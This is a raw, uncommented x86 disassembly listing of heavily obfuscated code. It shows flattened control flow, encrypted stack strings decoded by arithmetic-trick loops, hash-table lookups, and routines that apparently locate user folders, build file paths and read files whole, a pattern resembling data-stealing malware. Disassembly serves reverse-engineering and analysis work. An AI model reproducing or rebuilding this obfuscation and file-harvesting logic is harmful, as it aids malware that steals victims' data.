jmp ecx
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44d40c]
mov ebp, dword [eax]
mov ecx, ebx
sub ecx, edi
cmp ebx, esi
mov dword [esp + 0x30], ecx
mov dword [esp + 0x1c], eax
je 0x42a444
mov dword [esp + 0x8c], esi
mov dword [esp + 0x28], ebx
mov edx, edi
jmp 0x42a4f8
mov eax, ecx
sar eax, 3
inc eax
mov ecx, esi
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x42a45d
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.0040c630
add esp, 4
mov edx, eax
test edi, edi
je 0x42a4e2
mov dword [esp + 0x28], ebx
cmp edi, esi
mov ebx, esi
mov dword [esp + 8], edi
mov esi, edx
je 0x42a4d0
mov edx, dword [esp + 8]
mov eax, edx
not eax
mov dword [esp + 0xc], eax
mov ecx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, ecx
xor edi, dword [esp + 8]
mov eax, ebx
mov ebx, ecx
and ebx, dword [esp + 0xc]
add ebx, ebx
sub ebx, edi
mov edi, dword [edx]
mov dword [esi + ebx], edi
mov edi, dword [edx + 4]
mov dword [esi + ebx + 4], edi
mov ebx, eax
mov dword [edx], 0
add ecx, 8
add edx, 8
cmp edx, eax
jne 0x42a4a0
push dword [esp + 8]
call fcn.0040c640
add esp, 4
mov edx, esi
mov ebx, dword [esp + 0x28]
lea eax, [edx + ebx*8]
mov dword [esp + 0x8c], eax
mov eax, edx
mov ecx, dword [esp + 0x30]
add eax, ecx
mov dword [esp + 0x28], eax
mov dword [edx + ecx], 0
mov dword [esp + 8], edx
mov dword [edx + ecx + 4], 0
mov ebx, 0xffffffff
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
cmp byte [ebp + ebx + 1], 0
lea ebx, [ebx + 1]
lea eax, [eax + 1]
jne 0x42a520
lea eax, [ebx + 1]
mov dword [esp + 0x94], eax
push eax
call fcn.0040c630
add esp, 4
mov edi, eax
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 8]
mov dword [ecx + eax], edi
mov edx, dword [esp + 0x94]
mov ecx, edx
shr ecx, 2
mov eax, ebp
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov ecx, edx
and edx, 0xfffffffc
mov edi, dword [esp + 0xc]
add edi, edx
add edx, ebp
and ecx, 3
mov eax, ecx
not eax
or eax, 1
add eax, ecx
shr ecx, 1
mov dword [esp + 0x18], edx
mov dword [esp + 0x9c], edx
mov dword [esp + 0xc], edi
mov edx, dword [esp + 0x9c]
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
inc eax
je 0x42a5c1
mov ecx, dword [esp + 0x94]
and ecx, 2
mov edx, dword [esp + 0x18]
add edx, ecx
mov edi, dword [esp + 0xc]
add edi, ecx
push eax
push edx
push edi
call fcn.0040c660
add esp, 0xc
test ebx, ebx
je 0x42a639
mov edx, 0xffffffff
cmp ebx, 1
je 0x42a60c
and esi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, edx
shr ecx, 8
xor dl, byte [ebp]
movzx eax, dl
xor ecx, dword [eax*4 + 0x448c28]
mov edx, ecx
shr edx, 8
xor cl, byte [ebp + 1]
add ebp, 2
movzx ecx, cl
xor edx, dword [ecx*4 + 0x448c28]
add esi, 0xfffffffe
jne 0x42a5e0
test bl, 1
mov eax, dword [esp + 0x1c]
mov esi, dword [esp + 0x8c]
je 0x42a3e0
mov ecx, edx
shr ecx, 8
xor dl, byte [ebp]
movzx edx, dl
xor ecx, dword [edx*4 + 0x448c28]
mov edx, ecx
jmp 0x42a3e0
xor edx, edx
mov ebx, dword [esp + 0x28]
mov eax, dword [esp + 0x1c]
mov esi, dword [esp + 0x8c]
jmp 0x42a3e6
push dword [esp + 0xa0]
call fcn.0040c640
add esp, 4
mov dword [esp + 0x18], esi
mov ebp, edi
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x34], 0x686b6aca
mov byte [esp + 0x38], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 4
ja 0x42a6dc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x34]
mov esi, ecx
xor esi, 0xb9883967
and ecx, 0x39883967
lea ecx, [esi + ecx*2]
lea esi, [ecx + edx]
and ecx, edx
mov edx, esi
not edx
and edx, ecx
add edx, ecx
not ecx
and ecx, esi
sub ecx, edx
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x10]
add cl, 0xfd
mov edx, dword [esp]
mov byte [esp + edx + 0x34], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 5
jb 0x42a690
mov ecx, dword [0x451454]
test ecx, ecx
je 0x42a718
mov edx, dword [esp + 0x34]
xor esi, esi
mov edi, dword [0x451458]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x42a710
inc esi
cmp ecx, esi
jne 0x42a700
jmp 0x42a718
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42a738
mov edi, ebp
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
jmp dword [0x44d51c]
mov eax, edx
and al, 1
movzx ecx, al
mov eax, edx
jmp dword [ecx*4 + 0x44d524]
push eax
push 1
push dword [0x45145c]
push ecx
call fcn.00441840
add esp, 0x10
mov edi, ebp
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
jmp dword [0x44d51c]
mov dword [esp + 8], edi
mov dword [esp + 0x28], ebx
mov esi, dword [esp + 0x98]
mov ebx, dword [esp + 0xa0]
jmp dword [0x44d470]
mov byte [ebx + esi], 0
push 0x20
call fcn.0040c630
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push esi
push ebx
call fcn.0042ce00
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx + esi], 0
push 0x20
call fcn.0040c630
add esp, 4
mov ebp, eax
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push dword [esp + 0x98]
push ebx
call fcn.0042ce00
jmp dword [0x44d478]
movzx eax, al
mov dword [esp + 0x24], 0
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x18], ecx
jmp dword [eax*4 + 0x44d47c]
mov dword [esp + 0x34], 0xc5d0dae1
mov dword [esp + 0x38], 0xdec8d8c1
mov dword [esp + 0x3c], 0xd5dde915
mov dword [esp + 0x40], 0x10ef24ca
mov dword [esp + 0x44], 0x2a252030
mov dword [esp + 0x48], 0x27270ae9
mov dword [esp + 0x4c], 0x3d2f2826
mov dword [esp + 0x50], 0x3533300d
mov word [esp + 0x54], 0xab37
mov dword [esp + 0x56], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x25
ja 0x42a8d0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x34]
mov edx, eax
xor edx, 0x9497dc73
and eax, 0x1497dc73
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x10]
add al, 0xc1
mov ecx, dword [esp]
mov byte [esp + ecx + 0x34], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x26
jb 0x42a890
mov ecx, ebp
lea eax, [esp + 0x34]
push eax
call fcn.0042d040
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x24], 0
mov edx, dword [esp + 0x1c]
mov dword [esp + 0x18], edx
jmp dword [ecx*4 + 0x44d484]
mov ebx, dword [esp + 0x28]
mov edi, dword [esp + 8]
mov esi, dword [esp + 0x18]
jmp dword [0x44d50c]
mov ecx, ebp
call fcn.0042d1c0
push ebp
call fcn.0040c640
add esp, 4
jmp dword [0x44d514]
add eax, 8
mov dword [esp + 0x24], 0
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
mov edx, dword [esp + 0x1c]
mov dword [esp + 0x18], edx
jmp dword [eax*4 + 0x44d48c]
mov esi, dword [esp + 0x90]
mov ecx, esi
call fcn.0042d1c0
push esi
call fcn.0040c640
add esp, 4
jmp dword [0x44d41c]
lea eax, [esp + 0x98]
push 0
push eax
push dword [esp + 0x34]
call fcn.00444fc0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 0x24], 0
mov esi, dword [esp + 0x1c]
mov edi, ebp
jmp dword [eax*4 + 0x44d45c]
mov esi, dword [esp + 0x98]
lea eax, [esi + 1]
push eax
call fcn.0040c630
add esp, 4
push 0
push esi
mov dword [esp + 0xa8], eax
push eax
push dword [esp + 0x38]
call fcn.004450a0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 0x24], 0
mov esi, dword [esp + 0x1c]
jmp dword [eax*4 + 0x44d464]
jmp dword [0x44d514]
xor eax, eax
cmp edi, ebx
sete al
jmp dword [eax*4 + 0x44d44c]
mov eax, ebx
mov ebp, edi
sub eax, edi
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.0040c630
add esp, 4
mov dword [esp + 0x1c], eax
mov eax, dword [0x451450]
mov dword [esp + 0x34], 0x1d2072b
mov dword [esp + 0x38], 0xdef03f1
mov dword [esp + 0x3c], 0x9fa0fef
mov dword [esp + 0x40], 0x15fa0bcb
mov dword [esp + 0x44], 0x11da17e4
mov dword [esp + 0x48], 0x1dee13f3
mov dword [esp + 0x4c], 0x19311fff
mov dword [esp + 0x50], 0x25c71bfc
mov dword [esp + 0x54], 0x21c927d8
mov dword [esp + 0x58], 0x2dd523c3
mov dword [esp + 0x5c], 0x29da2fc8
mov dword [esp + 0x60], 0x35c72bd9
mov dword [esp + 0x64], 0x31c237d7
mov dword [esp + 0x68], 0x3dcc3306
mov dword [esp + 0x6c], 0x39d03fd0
mov word [esp + 0x70], 0x3b38
mov dword [esp + 0x72], 0
mov byte [esp + 0x76], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x42
ja 0x42ab07
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x34]
mov esi, ecx
xor esi, 0x81463f41
and ecx, 0x1463f41
lea ecx, [esi + ecx*2]
lea esi, [ecx + edx]
mov edi, edx
not edi
or edi, ecx
lea ecx, [edx + edi]
add edx, edi
inc edx
mov edi, edx
xor edi, esi
not edx
and edx, esi
add edx, edx
add ecx, edi
inc ecx
sub edx, ecx
mov dword [esp + 0x10], edx
mov ecx, dword [esp + 0x10]
add cl, 0xbb
mov edx, dword [esp]
mov byte [esp + edx + 0x34], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x43
jb 0x42aab0
lea ecx, [esp + 0x34]
lea edx, [esp + 0x20]
push edx
push 0
push 0
push 0x1e
push ecx
push 0
call eax
mov esi, dword [esp + 0x20]
test esi, esi
jns 0x42ab2a
mov eax, 0xffffffff
jmp 0x42ab2d
lea eax, [esi + esi]
push eax
call fcn.0040c630
add esp, 4
mov dword [esp + 0x8c], eax
mov eax, dword [0x451450]
mov dword [esp + 0x34], 0x932691fd
mov dword [esp + 0x38], 0x9f3d9d0b
mov dword [esp + 0x3c], 0x9b0e9939
mov dword [esp + 0x40], 0x871685c5
mov dword [esp + 0x44], 0x83ce8110
mov dword [esp + 0x48], 0x8f128d2d
mov dword [esp + 0x4c], 0x8be78929
mov dword [esp + 0x50], 0xf745f550
mov dword [esp + 0x54], 0xf35ff16c
mov dword [esp + 0x58], 0xff6bfd5d
mov dword [esp + 0x5c], 0xfb6ef95c
mov dword [esp + 0x60], 0xe745e573
mov dword [esp + 0x64], 0xe376e141
mov dword [esp + 0x68], 0xef70edba
mov dword [esp + 0x6c], 0xeb44e944
mov word [esp + 0x70], 0xd5d4
mov dword [esp + 0x72], 0
mov byte [esp + 0x76], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x42
ja 0x42ac22
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x34]
mov edi, ecx
xor edi, 0x979bc9a4
and ecx, 0x179bc9a4
lea ecx, [edi + ecx*2]
lea edi, [ecx + edx]
and ecx, edx
add ecx, ecx
sub edi, ecx
mov dword [esp + 0x10], edi
mov ecx, dword [esp + 0x10]
add cl, 0xcc
mov edx, dword [esp]
mov byte [esp + edx + 0x34], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x43
jb 0x42abe0
lea ecx, [esp + 0x20]
push ecx
push esi
mov esi, dword [esp + 0x94]
push esi
push 0x1e
lea ecx, [esp + 0x44]
push ecx
push 0
call eax
lea eax, [esp + 0x2c]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00444c60
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d454]
xor edx, edx
mov esi, dword [esp + 0x1c]
mov edi, ebp
jmp dword [0x44d51c]
push dword [esp + 0x8c]
mov ebp, edx
call fcn.0040c640
add esp, 4
mov edx, ebp
mov eax, edx
and al, 1
movzx ecx, al
mov eax, ebp
jmp dword [ecx*4 + 0x44d524]
mov byte [esi], 0
mov dword [esp + 0x34], 0xcdcecfff
mov dword [esp + 0x38], 0xc1d1d6cb
mov dword [esp + 0x3c], 0x3cc8c6cf
mov dword [esp + 0x40], 0x2a3e1ef9
mov dword [esp + 0x44], 0x15ff302f
mov dword [esp + 0x48], 0x3b253e31
mov dword [esp + 0x4c], 0x5132f931
mov word [esp + 0x50], 0xdb2c
mov dword [esp + 0x52], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x21
ja 0x42ad29
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x34]
mov edx, eax
xor edx, 0x481aa475
and eax, 0xc81aa475
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add al, 0xb7
mov ecx, dword [esp]
mov byte [esp + ecx + 0x34], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x22
jb 0x42acf0
mov eax, dword [esp + 0x1c]
sub esi, eax
mov ecx, dword [esp + 0xb8]
push esi
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.0040d200
mov ecx, dword [case.0x42ac57.52]
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
jmp dword [0x44d54c]
push dword [esp + 0x1c]
mov esi, eax
call fcn.0040c640
mov eax, esi
add esp, 4
and al, 1
test edi, edi
je 0x42ada3
cmp edi, ebx
je 0x42ada3
mov ebp, eax
mov esi, edi
jmp 0x42ad87
add esi, 8
cmp esi, ebx
je 0x42ad98
mov eax, dword [esi]
test eax, eax
je 0x42ad80
push eax
call fcn.0040c640
add esp, 4
jmp 0x42ad80
push edi
call fcn.0040c640
add esp, 4
mov eax, ebp
add esp, 0xa4
pop esi
pop edi
pop ebx
pop ebp
ret
jmp dword [0x44d3f8]
push ebp
call fcn.0040c640
add esp, 4
push ebp
call fcn.0040c640
add esp, 4
jmp dword [0x44d42c]
mov dword [esp + 0x34], 0x25e81ef9
mov dword [esp + 0x38], 0xd220d029
mov dword [esp + 0x3c], 0xd5d5c1e5
mov dword [esp + 0x40], 0xc8ebdc2e
mov dword [esp + 0x44], 0xceddd828
mov dword [esp + 0x48], 0xc0c7e0f1
mov dword [esp + 0x4c], 0x3dc83035
mov word [esp + 0x50], 0xab3d
mov dword [esp + 0x52], 0
mov byte [esp + 0x56], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x22
ja 0x42ae73
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x34]
mov edx, eax
xor edx, 0x6fee659d
and eax, 0xefee659d
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov ecx, eax
xor ecx, 0x11
and eax, 0x6e
add eax, eax
sub eax, ecx
mov ecx, dword [esp]
mov byte [esp + ecx + 0x34], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x23
jb 0x42ae30
lea eax, [esp + 0x34]
mov ecx, dword [esp + 0x90]
push eax
call fcn.0042d040
xor ecx, ecx
test eax, eax
setne cl
xor edi, edi
mov dword [esp + 0x88], ebp
jmp dword [ecx*4 + 0x44d3e4]
mov ebp, edi
mov eax, dword [esp + 0x20]
mov dword [esp + 0x34], 0x686b6aca
mov byte [esp + 0x38], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 4
ja 0x42af0c
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x34]
mov esi, ecx
xor esi, 0xb9883967
and ecx, 0x39883967
lea ecx, [esi + ecx*2]
lea esi, [ecx + edx]
and ecx, edx
mov edx, esi
not edx
and edx, ecx
add edx, ecx
not ecx
and ecx, esi
sub ecx, edx
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x10]
add cl, 0xfd
mov edx, dword [esp]
mov byte [esp + edx + 0x34], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 5
jb 0x42aec0
mov ecx, dword [0x451454]
test ecx, ecx
je 0x42af48
mov edx, dword [esp + 0x34]
xor esi, esi
mov edi, dword [0x451458]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x42af40
inc esi
cmp ecx, esi
jne 0x42af30
jmp 0x42af48
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42af50
mov edi, ebp
jmp dword [0x44d444]
push eax
push 1
push dword [0x45145c]
push ecx
call fcn.00441840
add esp, 0x10
mov edi, ebp
jmp dword [0x44d444]
jmp dword [0x44d41c]
jmp dword [0x44d428]
mov eax, dword [case.0x429f82.2]
nop
nop
nop
nop
nop
jmp eax
mov esi, dword [esp + 0x2c]
lea eax, [esi + 1]
push eax
call fcn.0040c630
add esp, 4
push 0
push esi
push eax
push dword [esp + 0x2c]
call fcn.004450a0
add esp, 0x10
mov esi, dword [esp + 0x2c]
lea eax, [esi + 1]
push eax
call fcn.0040c630
add esp, 4
mov ebp, eax
push 0
push esi
push eax
push dword [esp + 0x2c]
call fcn.004450a0
add esp, 0x10
jmp dword [0x44d3d0]
not eax
shr eax, 0x1f
xor ebx, ebx
xor edi, edi
jmp dword [eax*4 + 0x44d3d4]
mov esi, dword [esp + 0x2c]
mov byte [ebp + esi], 0
push 0x20
call fcn.0040c630
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x90], eax
mov ecx, eax
push esi
push ebp
call fcn.0042ce00
movzx eax, al
xor ebx, ebx
xor edi, edi
jmp dword [eax*4 + 0x44d3dc]
jmp dword [0x44d414]
jmp dword [0x44d56c]
push ebp
call fcn.0040c640
add esp, 4
jmp dword [0x44d614]
mov ecx, dword [esp + 0xb0]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x44d564]
mov dword [esp + 0xb0], ecx
mov ecx, dword [esp + ecx + 0x7c]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
cmp word [ecx + eax + 2], 0
lea eax, [eax + 2]
jne 0x42b4c0
mov dword [esp + 0x5c], ecx
mov dword [esp + 0xac], eax
mov edx, eax
sar edx, 1
mov eax, dword [esp + 0x9c]
lea ecx, [edx + eax]
mov dword [esp + 0x94], edx
add edx, eax
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
jns 0x42b500
mov eax, 0xffffffff
push eax
call fcn.0040c630
add esp, 4
mov ebx, eax
movzx ecx, word [ebp]
test cx, cx
je 0x42b531
mov edx, dword [esp + 0xa8]
mov eax, ebx
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b520
mov word [eax], 0x5c
mov dword [esp + 0x20], 0xf946fba8
mov dword [esp + 0x24], 0xfd5bff69
mov dword [esp + 0x28], 0xf16ef35b
mov dword [esp + 0x2c], 0xf543f710
mov dword [esp + 0x30], 0xe94deb60
mov dword [esp + 0x34], 0xed75ef7c
mov dword [esp + 0x38], 0xe3ec
add eax, 2
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x1b
ja 0x42b5cc
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x20]
mov esi, ecx
xor esi, 0xba07d17f
and ecx, 0x3a07d17f
lea ecx, [esi + ecx*2]
lea esi, [ecx + edx]
and ecx, edx
mov edx, esi
xor edx, ecx
add edx, ecx
not ecx
and ecx, esi
add ecx, ecx
sub ecx, edx
mov dword [esp + 0x14], ecx
mov ecx, dword [esp + 0x14]
add cl, 0x85
mov edx, dword [esp]
mov byte [esp + edx + 0x20], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x1c
jb 0x42b580
mov edx, dword [esp + 0x5c]
movzx ecx, word [edx]
test cx, cx
je 0x42b5f1
add edx, 2
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b5e0
mov word [eax], 0
movzx ecx, word [esp + 0x20]
test cx, cx
je 0x42b621
lea edx, [esp + 0x22]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b610
mov word [eax], 0
lea eax, [esp + 0x98]
push 0x60
push 3
push 0x120089
push eax
push ebx
call fcn.00444c60
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0xb8], ebx
jmp dword [eax*4 + 0x44d574]
xor ebx, ebx
jmp dword [0x44d5f4]
push dword [esp + 0xb8]
call fcn.0040c640
add esp, 4
movzx eax, bl
jmp dword [eax*4 + 0x44d5fc]
mov eax, dword [esp + 0x9c]
mov ecx, eax
and ecx, 1
xor eax, 1
add eax, dword [esp + 0x94]
lea edx, [eax + ecx*2]
lea ecx, [eax + ecx*2]
add ecx, 0x16
lea eax, [edx*2 + 0x2c]
test ecx, ecx
jns 0x42b6a3
mov eax, 0xffffffff
push eax
call fcn.0040c630
add esp, 4
mov ebx, eax
movzx ecx, word [ebp]
test cx, cx
je 0x42b6d1
mov edx, dword [esp + 0xa8]
mov eax, ebx
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b6c0
mov word [eax], 0x5c
mov dword [esp + 0x20], 0x4fb249a4
mov dword [esp + 0x24], 0x43a54ddf
mov dword [esp + 0x28], 0x47da41a1
mov dword [esp + 0x2c], 0x7b8d4564
mov dword [esp + 0x30], 0x7fed79ec
mov dword [esp + 0x34], 0x73937dea
mov dword [esp + 0x38], 0x779371eb
mov dword [esp + 0x3c], 0x6bf67598
mov dword [esp + 0x40], 0x6fe4698d
mov dword [esp + 0x44], 0x63fe6d89
mov dword [esp + 0x48], 0x67806184
mov word [esp + 0x4c], 0x6564
mov byte [edi + 0x32], 0
mov dword [edi + 0x2e], 0
add eax, 2
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x32
ja 0x42b79c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x20]
add ecx, 0x5a197292
xor ecx, edx
mov dword [esp + 0x14], ecx
mov ecx, dword [esp + 0x14]
mov edx, ecx
xor edx, 0xda
and ecx, 0x25
add ecx, ecx
sub ecx, edx
mov edx, dword [esp]
mov byte [esp + edx + 0x20], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x33
jb 0x42b760
mov edx, dword [esp + 0x5c]
movzx ecx, word [edx]
test cx, cx
je 0x42b7c1
add edx, 2
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b7b0
mov word [eax], 0
movzx ecx, word [esp + 0x20]
test cx, cx
je 0x42b7f1
lea edx, [esp + 0x22]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b7e0
mov word [eax], 0
mov eax, dword [esp + 0xac]
add eax, 0x12
cmp dword [esp + 0x94], 0xfffffff7
jge 0x42b80f
mov eax, 0xffffffff
push eax
call fcn.0040c630
add esp, 4
mov esi, eax
mov dword [esp + 0x20], 0x51e24f3d
mov dword [esp + 0x24], 0x55e453f7
mov dword [esp + 0x28], 0x59fa57f3
mov dword [esp + 0x2c], 0x5df85bfc
mov word [esp + 0x30], 0x5f5c
mov word [edi + 0x16], 0
mov dword [edi + 0x12], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x17
ja 0x42b899
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x20]
mov edx, eax
xor edx, 0x8a3b55ed
and eax, 0xa3b55ed
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
add al, 0x5f
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x18
jb 0x42b860
mov edx, dword [esp + 0x5c]
movzx ecx, word [edx]
mov eax, esi
test cx, cx
je 0x42b8c1
add edx, 2
mov eax, esi
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b8b0
mov word [eax], 0
movzx ecx, word [esp + 0x20]
test cx, cx
je 0x42b8f1
lea edx, [esp + 0x22]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b8e0
mov word [eax], 0
mov dword [esp + 0x20], 0x898a8b7a
mov byte [esp + 0x24], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x42b95b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x20]
lea edx, [eax + ecx]
add edx, 0x24168ae3
add eax, 0x24168ae3
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 0x14], edx
mov eax, dword [esp + 0x14]
add al, 0x91
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x42b920
push 0
push 0
push 0
push 0xc00000
push edi
push ebx
push esi
push dword [esp + 0x118]
call fcn.004220d0
add esp, 0x20
mov ecx, dword [esp + 0x90]
and cl, 1
or cl, al
mov dword [esp + 0x90], ecx
jmp dword [0x44d604]
push esi
call fcn.0040c640
add esp, 4
jmp dword [0x44d60c]
mov eax, dword [case.0x429c64.134]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
lea eax, [esp + 0xb4]
push 0
push eax
push dword [esp + 0xa0]
call fcn.00444fc0
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44d58c]
mov esi, dword [esp + 0xb4]
lea eax, [esi + 1]
push eax
call fcn.0040c630
add esp, 4
push 0
push esi
mov esi, eax
push eax
push dword [esp + 0xa4]
call fcn.004450a0
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44d594]
mov eax, dword [esp + 0xb4]
mov byte [esi + eax], 0
push esi
call fcn.00403bc0
add esp, 4
xor ecx, ecx
mov dword [esp + 0x8c], eax
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x44d59c]
jmp dword [0x44d5ec]
push esi
call fcn.0040c640
add esp, 4
mov eax, dword [esp + 0x98]
mov dword [esp + 0x20], 0x686b6aca
mov byte [esp + 0x24], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 4
ja 0x42babc
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x20]
mov esi, ecx
xor esi, 0xb9883967
and ecx, 0x39883967
lea ecx, [esi + ecx*2]
lea esi, [ecx + edx]
and ecx, edx
mov edx, esi
not edx
and edx, ecx
add edx, ecx
not ecx
and ecx, esi
sub ecx, edx
mov dword [esp + 0x14], ecx
mov ecx, dword [esp + 0x14]
add cl, 0xfd
mov edx, dword [esp]
mov byte [esp + edx + 0x20], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 5
jb 0x42ba70
mov ecx, dword [0x451454]
test ecx, ecx
je 0x42bb20
mov edx, dword [esp + 0x20]
xor esi, esi
mov edi, dword [0x451458]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
